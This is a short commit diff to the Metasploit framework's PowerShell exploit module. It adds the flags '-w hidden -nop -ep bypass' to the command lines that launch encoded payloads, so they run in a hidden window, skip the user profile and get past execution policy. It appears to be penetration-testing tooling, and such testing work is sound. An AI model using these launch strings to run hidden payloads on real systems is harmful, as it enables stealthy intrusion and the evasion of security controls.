Bypass no profile and hidden by default

lib/msf/core/exploit/powershell.rb

@@ -80,7 +80,7 @@ module Exploit::Powershell
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = "-e #{ compress_script(ps_code) }"
+    ps_args = "-w hidden -nop -ep bypass -e #{ compress_script(ps_code) }"
 
     ps_wrapper = <<EOS
 $si=New-Object System.Diagnostics.ProcessStartInfo
@@ -119,7 +119,7 @@ EOS
     # Wrap in hidden runtime
     psh_payload = run_hidden_psh(psh_payload,ps_bin)
     # Convert to base64 for -encodedcommand execution
-    command = "%COMSPEC% /B /C start /min powershell.exe -c #{psh_payload}\r\n"
+    command = "%COMSPEC% /B /C start /min powershell.exe -w hidden -nop -ep bypass -c #{psh_payload}\r\n"
   end